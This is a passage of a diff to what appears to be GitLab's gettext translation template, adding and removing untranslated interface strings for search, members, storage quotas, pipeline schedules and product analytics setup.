msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
